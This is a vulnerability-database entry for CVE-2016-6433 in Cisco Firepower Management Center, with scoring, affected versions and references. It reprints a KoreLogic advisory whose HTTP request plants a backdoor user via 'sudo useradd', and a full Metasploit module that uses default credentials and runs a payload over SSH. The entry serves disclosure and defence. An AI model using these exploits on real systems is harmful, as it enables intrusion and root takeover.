CVE-2016-6433 : Detail

CVE-2016-6433

8.8
/
High
A03-Injection
72.6%V4
Network
2016-10-06
08h00 +00:00
2017-09-02
07h57 +00:00
CVE.org
NVD
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CVE Descriptions

The Threat Management Console in Cisco Firepower Management Center 5.2.0 through 6.0.1 allows remote authenticated users to execute arbitrary commands via crafted web-application parameters, aka Bug ID CSCva30872.

CVE Informations

Related Weaknesses

CWE-ID Weakness Name Source
CWE-20 Improper Input Validation
The product receives input or data, but it does not validate or incorrectly validates that the input has the properties that are required to process the data safely and correctly.

Metrics

Metrics Score Severity CVSS Vector Source
V3.1 8.8 HIGH CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 9 AV:N/AC:L/Au:S/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
EPSS First.org

Exploit information

Exploit Database EDB-ID : 40463

Publication date : 2016-10-04 22h00 +00:00
Author : KoreLogic
EDB Verified : Yes

KL-001-2016-007 : Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Title: Cisco Firepower Threat Management Console Remote Command Execution Leading to Root Access Advisory ID: KL-001-2016-007 Publication Date: 2016.10.05 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-007.txt 1. Vulnerability Details Affected Vendor: Cisco Affected Product: Firepower Threat Management Console Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213) Platform: Embedded Linux CWE Classification: CWE-434: Unrestricted Upload of File with Dangerous Type, CWE-94: Improper Control of Generation of Code Impact: Arbitrary Code Execution Attack vector: HTTP CVE-ID: CVE-2016-6433 2. Vulnerability Description An authenticated user can run arbitrary system commands as the www user which leads to root. 3. Technical Description A valid session and CSRF token is required. The webserver runs as a non-root user which is permitted to sudo commands as root with no password. POST /DetectionPolicy/rules/rulesimport.cgi?no_mojo=1 HTTP/1.1 Host: 1.3.3.7 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br DNT: 1 Cookie: CGISESSID=4919a7838198009bba48f6233d0bd1c6 Connection: close Content-Type: multipart/form-data; boundary=---------------------------15519792567789791301241925798 Content-Length: 813 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="manual_update" 1 -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="source" file -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="file"; filename="Sourcefire_Rule_Update-2016-03-04-001-vrt.sh" Content-Type: application/octet-stream sudo useradd -G ldapgroup -p `openssl passwd -1 korelogic` korelogic -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="action_submit" Import -----------------------------15519792567789791301241925798 Content-Disposition: form-data; name="sf_action_id" 8c6059ae8dbedc089877b16b7be2ae7f -----------------------------15519792567789791301241925798-- HTTP/1.1 200 OK Date: Sat, 23 Apr 2016 13:38:01 GMT Server: Apache Vary: Accept-Encoding X-Frame-Options: SAMEORIGIN Content-Length: 49998 Connection: close Content-Type: text/html; charset=utf-8 ... $ ssh korelogic@1.3.3.7 Password: Copyright 2004-2016, Cisco and/or its affiliates. All rights reserved. Cisco is a registered trademark of Cisco Systems, Inc. All other trademarks are property of their respective owners. Cisco Fire Linux OS v6.0.1 (build 37) Cisco Firepower Management Center for VMWare v6.0.1 (build 1213) Could not chdir to home directory /Volume/home/korelogic: No such file or directory korelogic@firepower:/$ sudo su - Password: root@firepower:~# 4. Mitigation and Remediation Recommendation The vendor has acknowledged this vulnerability but has not issued a fix. Vendor acknowledgement available at: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20161005-ftmc 5. Credit This vulnerability was discovered by Matt Bergin (@thatguylevel) of KoreLogic, Inc. 6. Disclosure Timeline 2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco. 2016.06.30 - Cisco acknowledges receipt of vulnerability report. 2016.07.20 - KoreLogic and Cisco discuss remediation timeline for this vulnerability and for 3 others reported in the same product. 2016.08.12 - 30 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.02 - 45 business days have elapsed since the vulnerability was reported to Cisco. 2016.09.09 - KoreLogic asks for an update on the status of the remediation efforts. 2016.09.15 - Cisco confirms remediation is underway and soon to be completed. 2016.09.28 - Cisco informs KoreLogic that the acknowledgement details will be released publicly on 2016.10.05. 2016.10.05 - Public disclosure. 7. Proof of Concept See Technical Description The contents of this advisory are copyright(c) 2016 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://www.korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.2.txt
Exploit Database EDB-ID : 41041

Publication date : 2017-01-12 23h00 +00:00
Author : Metasploit
EDB Verified : Yes

## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStager include Msf::Exploit::Remote::SSH def initialize(info={}) super(update_info(info, 'Name' => "Cisco Firepower Management Console 6.0 Post Authentication UserAdd Vulnerability", 'Description' => %q{ This module exploits a vulnerability found in Cisco Firepower Management Console. The management system contains a configuration flaw that allows the www user to execute the useradd binary, which can be abused to create backdoor accounts. Authentication is required to exploit this vulnerability. }, 'License' => MSF_LICENSE, 'Author' => [ 'Matt', # Original discovery & PoC 'sinn3r' # Metasploit module ], 'References' => [ [ 'CVE', '2016-6433' ], [ 'URL', 'https://blog.korelogic.com/blog/2016/10/10/virtual_appliance_spelunking' ] ], 'Platform' => 'linux', 'Arch' => ARCH_X86, 'Targets' => [ [ 'Cisco Firepower Management Console 6.0.1 (build 1213)', {} ] ], 'Privileged' => false, 'DisclosureDate' => 'Oct 10 2016', 'CmdStagerFlavor'=> %w{ echo }, 'DefaultOptions' => { 'SSL' => 'true', 'SSLVersion' => 'Auto', 'RPORT' => 443 }, 'DefaultTarget' => 0)) register_options( [ # admin:Admin123 is the default credential for 6.0.1 OptString.new('USERNAME', [true, 'Username for Cisco Firepower Management console', 'admin']), OptString.new('PASSWORD', [true, 'Password for Cisco Firepower Management console', 'Admin123']), OptString.new('NEWSSHUSER', [false, 'New backdoor username (Default: Random)']), OptString.new('NEWSSHPASS', [false, 'New backdoor password (Default: Random)']), OptString.new('TARGETURI', [true, 'The base path to Cisco Firepower Management console', '/']), OptInt.new('SSHPORT', [true, 'Cisco Firepower Management console\'s SSH port', 22]) ], self.class) end def check # For this exploit to work, we need to check two services: # * HTTP - To create the backdoor account for SSH # * SSH - To execute our payload vprint_status('Checking Cisco Firepower Management console...') res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, '/img/favicon.png?v=6.0.1-1213') }) if res && res.code == 200 vprint_status("Console is found.") vprint_status("Checking SSH service.") begin ::Timeout.timeout(datastore['SSH_TIMEOUT']) do Net::SSH.start(rhost, 'admin', port: datastore['SSHPORT'], password: Rex::Text.rand_text_alpha(5), auth_methods: ['password'], non_interactive: true ) end rescue Timeout::Error vprint_error('The SSH connection timed out.') return Exploit::CheckCode::Unknown rescue Net::SSH::AuthenticationFailed # Hey, it talked. So that means SSH is running. return Exploit::CheckCode::Appears rescue Net::SSH::Exception => e vprint_error(e.message) end end Exploit::CheckCode::Safe end def get_sf_action_id(sid) requirements = {} print_status('Attempting to obtain sf_action_id from rulesimport.cgi') uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') res = send_request_cgi({ 'method' => 'GET', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}" }) unless res fail_with(Failure::Unknown, 'Failed to obtain rules import requirements.') end sf_action_id = res.body.scan(/sf_action_id = '(.+)';/).flatten[1] unless sf_action_id fail_with(Failure::Unknown, 'Unable to obtain sf_action_id from rulesimport.cgi') end sf_action_id end def create_ssh_backdoor(sid, user, pass) uri = normalize_uri(target_uri.path, 'DetectionPolicy/rules/rulesimport.cgi') sf_action_id = get_sf_action_id(sid) sh_name = 'exploit.sh' print_status("Attempting to create an SSH backdoor as #{user}:#{pass}") mime_data = Rex::MIME::Message.new mime_data.add_part('Import', nil, nil, 'form-data; name="action_submit"') mime_data.add_part('file', nil, nil, 'form-data; name="source"') mime_data.add_part('1', nil, nil, 'form-data; name="manual_update"') mime_data.add_part(sf_action_id, nil, nil, 'form-data; name="sf_action_id"') mime_data.add_part( "sudo useradd -g ldapgroup -p `openssl passwd -1 #{pass}` #{user}; rm /var/sf/SRU/#{sh_name}", 'application/octet-stream', nil, "form-data; name=\"file\"; filename=\"#{sh_name}\"" ) send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'cookie' => "CGISESSID=#{sid}", 'ctype' => "multipart/form-data; boundary=#{mime_data.bound}", 'data' => mime_data.to_s, 'vars_get' => { 'no_mojo' => '1' }, }) end def generate_new_username datastore['NEWSSHUSER'] || Rex::Text.rand_text_alpha(5) end def generate_new_password datastore['NEWSSHPASS'] || Rex::Text.rand_text_alpha(5) end def report_cred(opts) service_data = { address: rhost, port: rport, service_name: 'cisco', protocol: 'tcp', workspace_id: myworkspace_id } credential_data = { origin_type: :service, module_fullname: fullname, username: opts[:user], private_data: opts[:password], private_type: :password }.merge(service_data) login_data = { last_attempted_at: DateTime.now, core: create_credential(credential_data), status: Metasploit::Model::Login::Status::SUCCESSFUL, proof: opts[:proof] }.merge(service_data) create_credential_login(login_data) end def do_login console_user = datastore['USERNAME'] console_pass = datastore['PASSWORD'] uri = normalize_uri(target_uri.path, 'login.cgi') print_status("Attempting to login in as #{console_user}:#{console_pass}") res = send_request_cgi({ 'method' => 'POST', 'uri' => uri, 'vars_post' => { 'username' => console_user, 'password' => console_pass, 'target' => '' } }) unless res fail_with(Failure::Unknown, 'Connection timed out while trying to log in.') end res_cookie = res.get_cookies if res.code == 302 && res_cookie.include?('CGISESSID') cgi_sid = res_cookie.scan(/CGISESSID=(\w+);/).flatten.first print_status("CGI Session ID: #{cgi_sid}") print_good("Authenticated as #{console_user}:#{console_pass}") report_cred(username: console_user, password: console_pass) return cgi_sid end nil end def execute_command(cmd, opts = {}) @first_exec = true cmd.gsub!(/\/tmp/, '/usr/tmp') # Weird hack for the cmd stager. # Because it keeps using > to write the payload. if @first_exec @first_exec = false else cmd.gsub!(/>>/, ' > ') end begin Timeout.timeout(3) do @ssh_socket.exec!("#{cmd}\n") vprint_status("Executing #{cmd}") end rescue Timeout::Error fail_with(Failure::Unknown, 'SSH command timed out') rescue Net::SSH::ChannelOpenFailed print_status('Trying again due to Net::SSH::ChannelOpenFailed (sometimes this happens)') retry end end def init_ssh_session(user, pass) print_status("Attempting to log into SSH as #{user}:#{pass}") factory = ssh_socket_factory opts = { auth_methods: ['password', 'keyboard-interactive'], port: datastore['SSHPORT'], use_agent: false, config: false, password: pass, proxy: factory, non_interactive: true } opts.merge!(verbose: :debug) if datastore['SSH_DEBUG'] begin ssh = nil ::Timeout.timeout(datastore['SSH_TIMEOUT']) do @ssh_socket = Net::SSH.start(rhost, user, opts) end rescue Net::SSH::Exception => e fail_with(Failure::Unknown, e.message) end end def exploit # To exploit the useradd vuln, we need to login first. sid = do_login return unless sid # After login, we can call the useradd utility to create a backdoor user new_user = generate_new_username new_pass = generate_new_password create_ssh_backdoor(sid, new_user, new_pass) # Log into the SSH backdoor account init_ssh_session(new_user, new_pass) begin execute_cmdstager({:linemax => 500}) ensure @ssh_socket.close end end end

Products Mentioned

Configuraton 0

Cisco>>Secure_firewall_management_center >> Version 5.2.0

Cisco>>Secure_firewall_management_center >> Version 5.3.0

Cisco>>Secure_firewall_management_center >> Version 5.3.0.2

Cisco>>Secure_firewall_management_center >> Version 5.3.0.3

Cisco>>Secure_firewall_management_center >> Version 5.3.0.4

Cisco>>Secure_firewall_management_center >> Version 5.3.1

Cisco>>Secure_firewall_management_center >> Version 5.3.1.3

Cisco>>Secure_firewall_management_center >> Version 5.3.1.4

Cisco>>Secure_firewall_management_center >> Version 5.3.1.5

Cisco>>Secure_firewall_management_center >> Version 5.3.1.6

Cisco>>Secure_firewall_management_center >> Version 5.4.0

Cisco>>Secure_firewall_management_center >> Version 5.4.0.2

Cisco>>Secure_firewall_management_center >> Version 5.4.1

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.1

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.2

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.3

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.4

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.5

    Cisco>>Secure_firewall_management_center >> Version 5.4.1.6

    Cisco>>Secure_firewall_management_center >> Version 6.0.1

    References

    http://www.securityfocus.com/bid/93414
    Tags : vdb-entry, x_refsource_BID
    https://www.exploit-db.com/exploits/40463/
    Tags : exploit, x_refsource_EXPLOIT-DB
    https://www.exploit-db.com/exploits/41041/
    Tags : exploit, x_refsource_EXPLOIT-DB
    The information presented on CVE Find originates from several carefully selected reference sources. CVE data is provided by MITRE Corporation and the National Vulnerability Database (NVD). The Known Exploited Vulnerabilities (KEV) catalog is sourced from the Cybersecurity and Infrastructure Security Agency (CISA), while EPSS scores come from FIRST.org. Additionally, data regarding software weaknesses (CWE) and common attack patterns (CAPEC) is maintained by MITRE Corporation, and information on hardware and software configurations (CPE) is provided by the NVD.